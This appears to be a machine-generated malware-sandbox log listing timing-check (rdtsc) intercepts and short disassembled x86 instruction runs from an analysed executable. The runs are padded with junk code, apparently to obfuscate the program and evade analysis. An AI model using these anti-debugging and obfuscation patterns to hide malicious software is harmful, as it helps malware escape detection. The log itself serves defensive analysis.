Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90335 second address: 4E903A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edx, 21E420EAh 0x0000000f mov ebx, 145B61B6h 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 jmp 00007F654C734E5Dh 0x0000001b xchg eax, edi 0x0000001c jmp 00007F654C734E5Eh 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F654C734E61h 0x00000029 and cx, 4DC6h 0x0000002e jmp 00007F654C734E61h 0x00000033 popfd 0x00000034 mov ax, FA77h 0x00000038 popad 0x00000039 xchg eax, edi 0x0000003a pushad 0x0000003b mov si, C16Fh 0x0000003f push eax 0x00000040 push edx 0x00000041 mov eax, 7051FA81h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E903A4 second address: 4E903D2 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [75AB4538h] 0x0000000c pushad 0x0000000d mov si, E775h 0x00000011 mov ax, 85F1h 0x00000015 popad 0x00000016 xor dword ptr [ebp-08h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F654CE0FA13h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E903D2 second address: 4E903EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E903EA second address: 4E9043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d jmp 00007F654CE0FA0Fh 0x00000012 nop 0x00000013 pushad 0x00000014 mov cl, B5h 0x00000016 movsx ebx, cx 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 pushfd 0x00000021 jmp 00007F654CE0FA12h 0x00000026 and si, 4FE8h 0x0000002b jmp 00007F654CE0FA0Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9043F second address: 4E90477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov dh, FFh 0x0000000d popad 0x0000000e lea eax, dword ptr [ebp-10h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654C734E61h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90477 second address: 4E90487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90487 second address: 4E904BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 jmp 00007F654C734E66h 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ax, bx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904BF second address: 4E904C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904C4 second address: 4E904CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904CA second address: 4E9056F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000018h] 0x0000000e jmp 00007F654CE0FA0Ah 0x00000013 mov ecx, dword ptr [eax+00000FDCh] 0x00000019 jmp 00007F654CE0FA10h 0x0000001e test ecx, ecx 0x00000020 jmp 00007F654CE0FA10h 0x00000025 jns 00007F654CE0FA28h 0x0000002b jmp 00007F654CE0FA10h 0x00000030 add eax, ecx 0x00000032 jmp 00007F654CE0FA10h 0x00000037 mov ecx, dword ptr [ebp+08h] 0x0000003a pushad 0x0000003b jmp 00007F654CE0FA0Eh 0x00000040 pushfd 0x00000041 jmp 00007F654CE0FA12h 0x00000046 sbb al, FFFFFFB8h 0x00000049 jmp 00007F654CE0FA0Bh 0x0000004e popfd 0x0000004f popad 0x00000050 test ecx, ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9056F second address: 4E90573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90573 second address: 4E90579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90579 second address: 4E9057F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80386 second address: 4E8038C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8038C second address: 4E8039D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8039D second address: 4E803C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F654CE0FA0Ch 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654CE0FA0Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803C1 second address: 4E803C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803C7 second address: 4E803FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F654CE0FA10h 0x00000010 sub esp, 2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, B680h 0x0000001a mov dx, BAACh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E803FA second address: 4E80400 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80400 second address: 4E80404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80404 second address: 4E80456 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F654C734E60h 0x00000011 push eax 0x00000012 jmp 00007F654C734E5Bh 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 mov ebx, esi 0x0000001b pushad 0x0000001c movzx eax, di 0x0000001f mov edx, 6992CBBEh 0x00000024 popad 0x00000025 popad 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F654C734E61h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80456 second address: 4E80474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80474 second address: 4E80478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80478 second address: 4E8047E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804C7 second address: 4E804D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804D9 second address: 4E80512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 jmp 00007F654CE0FA17h 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F654CE0FA15h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8059F second address: 4E805DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F654C734E67h 0x0000000a or cx, 162Eh 0x0000000f jmp 00007F654C734E69h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80656 second address: 4E8065A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8065A second address: 4E8065E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8065E second address: 4E80664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80664 second address: 4E8066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8066A second address: 4E8070A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F654CE0FA7Ch 0x0000000e pushad 0x0000000f call 00007F654CE0FA18h 0x00000014 pushfd 0x00000015 jmp 00007F654CE0FA12h 0x0000001a or ax, 0058h 0x0000001f jmp 00007F654CE0FA0Bh 0x00000024 popfd 0x00000025 pop esi 0x00000026 mov edx, 4DDD559Ch 0x0000002b popad 0x0000002c cmp dword ptr [ebp-14h], edi 0x0000002f pushad 0x00000030 pushad 0x00000031 mov dl, 8Fh 0x00000033 popad 0x00000034 popad 0x00000035 jne 00007F65BD9ED7DCh 0x0000003b pushad 0x0000003c pushad 0x0000003d jmp 00007F654CE0FA0Ch 0x00000042 mov esi, 1AE68001h 0x00000047 popad 0x00000048 jmp 00007F654CE0FA0Eh 0x0000004d popad 0x0000004e mov ebx, dword ptr [ebp+08h] 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F654CE0FA17h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8070A second address: 4E8075E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2DEAh 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea eax, dword ptr [ebp-2Ch] 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 pushfd 0x00000015 jmp 00007F654C734E64h 0x0000001a xor eax, 427E49D8h 0x00000020 jmp 00007F654C734E5Bh 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F654C734E65h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8075E second address: 4E8079C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F654CE0FA17h 0x00000008 mov si, 5D5Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F654CE0FA15h 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8079C second address: 4E807A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807A0 second address: 4E807A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807A6 second address: 4E807CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov di, si 0x0000000e mov si, 9779h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 movsx edi, si 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E807CD second address: 4E80804 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, cx 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F654CE0FA12h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F654CE0FA17h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80804 second address: 4E8080A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8080A second address: 4E8080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8080E second address: 4E80812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80859 second address: 4E80880 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80880 second address: 4E80895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8007D second address: 4E80081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80081 second address: 4E80087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80087 second address: 4E80098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA0Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80098 second address: 4E800BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], 55534552h 0x00000012 pushad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C68 second address: 4E80C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654CE0FA14h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C80 second address: 4E80C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C84 second address: 4E80C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, dh 0x0000000e mov eax, 0E5D18B1h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C98 second address: 4E80C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C9E second address: 4E80CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80CA2 second address: 4E80CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80CB3 second address: 4E80CB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80CB9 second address: 4E80D0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F654C734E5Eh 0x00000010 cmp dword ptr [75AB459Ch], 05h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F654C734E5Dh 0x00000020 jmp 00007F654C734E5Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D0C second address: 4E80D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D11 second address: 4E80D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F65BD302B31h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F654C734E65h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D41 second address: 4E80D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D73 second address: 4E80D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D77 second address: 4E80D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80D7D second address: 4E80DC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654C734E68h 0x00000009 sub si, 6D98h 0x0000000e jmp 00007F654C734E5Bh 0x00000013 popfd 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push 1092A043h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F654C734E5Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DC4 second address: 4E80DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DCA second address: 4E80DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DCE second address: 4E80DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80E40 second address: 4E80E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA071B second address: 4EA0722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0722 second address: 4EA0734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 push ebx 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0734 second address: 4EA0738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0738 second address: 4EA073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA073E second address: 4EA079E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F654CE0FA18h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F654CE0FA13h 0x00000019 add eax, 1192299Eh 0x0000001f jmp 00007F654CE0FA19h 0x00000024 popfd 0x00000025 mov esi, 6B9A0167h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA079E second address: 4EA07E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, CEFEh 0x00000007 mov esi, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov bx, 0362h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007F654C734E69h 0x0000001b add al, 00000036h 0x0000001e jmp 00007F654C734E61h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA07E2 second address: 4EA081D instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 jmp 00007F654CE0FA0Ah 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F654CE0FA0Ah 0x0000001a jmp 00007F654CE0FA15h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA081D second address: 4EA087C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F654C734E63h 0x00000012 pop esi 0x00000013 pushfd 0x00000014 jmp 00007F654C734E69h 0x00000019 and ax, 46B6h 0x0000001e jmp 00007F654C734E61h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA087C second address: 4EA08DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F654CE0FA17h 0x00000009 and al, FFFFFFEEh 0x0000000c jmp 00007F654CE0FA19h 0x00000011 popfd 0x00000012 mov edx, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov esi, dword ptr [ebp+0Ch] 0x0000001a pushad 0x0000001b mov ah, 62h 0x0000001d mov bl, 43h 0x0000001f popad 0x00000020 test esi, esi 0x00000022 jmp 00007F654CE0FA0Ch 0x00000027 je 00007F65BD9BD4EDh 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov bx, ax 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA08DC second address: 4EA09A7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F654C734E68h 0x00000008 or ecx, 62A600F8h 0x0000000e jmp 00007F654C734E5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov si, 962Fh 0x0000001a popad 0x0000001b cmp dword ptr [75AB459Ch], 05h 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F654C734E60h 0x00000029 xor cl, 00000058h 0x0000002c jmp 00007F654C734E5Bh 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F654C734E68h 0x00000038 sbb cx, 65B8h 0x0000003d jmp 00007F654C734E5Bh 0x00000042 popfd 0x00000043 popad 0x00000044 je 00007F65BD2FA98Ah 0x0000004a pushad 0x0000004b mov ecx, 4985D60Bh 0x00000050 mov ch, C7h 0x00000052 popad 0x00000053 push ebp 0x00000054 jmp 00007F654C734E68h 0x00000059 mov dword ptr [esp], esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F654C734E67h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09A7 second address: 4EA09AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09AD second address: 4EA09B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA09B1 second address: 4EA09B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
